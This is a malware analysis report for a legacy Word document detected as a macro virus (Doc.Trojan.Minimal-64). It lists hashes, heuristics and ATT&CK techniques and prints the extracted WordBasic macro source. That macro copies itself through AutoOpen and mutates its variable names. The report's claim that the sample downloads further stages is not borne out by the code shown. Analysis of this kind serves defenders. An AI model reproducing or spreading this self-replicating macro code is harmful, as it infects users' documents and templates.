Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 121be6a633e1d973…

MALICIOUS

Office (OLE)

29.0 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cac4f4254c39a7d6d636ed80737b1403 SHA-1: f16fc02840b0bc94ebf9c1bd188eff7fa5f87a8d SHA-256: 121be6a633e1d9734e3e5bf7e17cf4f8a739edbbc22dbfbd64288f359906f387
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a WordBasic macro that is triggered by the AutoOpen subroutine. The macro attempts to copy itself and then modifies its own code using Find/Replace operations, likely to obfuscate its payload or prepare for execution. This behavior is characteristic of older macro-based malware designed to download and execute additional stages.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-64 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-64
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1127 bytes
SHA-256: 6bd6ea01a8ed7646c80f0267822fe0427cf3129456aec58d2b40bc1191542e75
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim DUHIM$
Dim DCLUL
Dim PPWMS
Dim A$
Dim B$
Dim C$
On Error Resume Next
WordBasic.ScreenUpdating 0
DUHIM$ = WordBasic.[FileName$]()
WordBasic.MacroCopy DUHIM$ + ":AutoOpen", "AutoOpen"
WordBasic.MacroCopy "AutoOpen", DUHIM$ + ":AutoOpen"
WordBasic.FileSaveAs Format:=1
DCLUL = WordBasic.Int(Rnd() * 3 + 5)
For PPWMS = 1 To DCLUL
A$ = A$ + Chr(WordBasic.Int(Rnd() * 26) + 65)
B$ = B$ + Chr(WordBasic.Int(Rnd() * 26) + 65)
C$ = C$ + Chr(WordBasic.Int(Rnd() * 26) + 65)
Next PPWMS
WordBasic.ToolsMacro Name:="AutoOpen", Edit:=1
WordBasic.EditReplace Find:="DUHIM", Replace:=A$, ReplaceAll:=1
WordBasic.EditReplace Find:="PPWMS", Replace:=B$, ReplaceAll:=1
WordBasic.EditReplace Find:="DCLUL", Replace:=C$, ReplaceAll:=1
WordBasic.DocClose 1
End Sub

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